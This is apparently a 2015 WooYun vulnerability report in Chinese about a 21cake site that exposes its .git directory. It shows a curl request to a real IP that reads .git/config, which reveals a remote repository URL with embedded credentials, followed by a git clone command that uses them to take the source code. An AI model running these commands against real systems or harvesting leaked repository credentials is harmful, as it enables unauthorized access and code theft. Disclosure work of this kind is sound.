当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104373

漏洞标题:21cake某站git服务使用不当导致源代码泄露

相关厂商:21cake.com

漏洞作者: orange

提交时间:2015-03-30 16:14

修复时间:2015-04-04 16:16

公开时间:2015-04-04 16:16

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-04: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

21cake某站git服务使用不当导致整站源代码泄露

详细说明:

0x00 URL

http://211.136.100.30:9090/


url.png


0x01 git配置不当

root@orange:~# curl http://211.136.100.30:9090/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://stashpull:[email protected]/scm/ic/ic-desktop.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "chanel/xiqiao"]
remote = origin
merge = refs/heads/chanel/xiqiao
[branch "dev"]
remote = origin
merge = refs/heads/dev
[branch "1208-pici"]
remote = origin
merge = refs/heads/1208-pici


直接就可以clone下来

git clone http://stashpull:[email protected]/scm/ic/ic-desktop.git

漏洞证明:

如上

修复方案:

删除

版权声明:转载请注明来源 orange@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-04 16:16

厂商回复:

最新状态:

暂无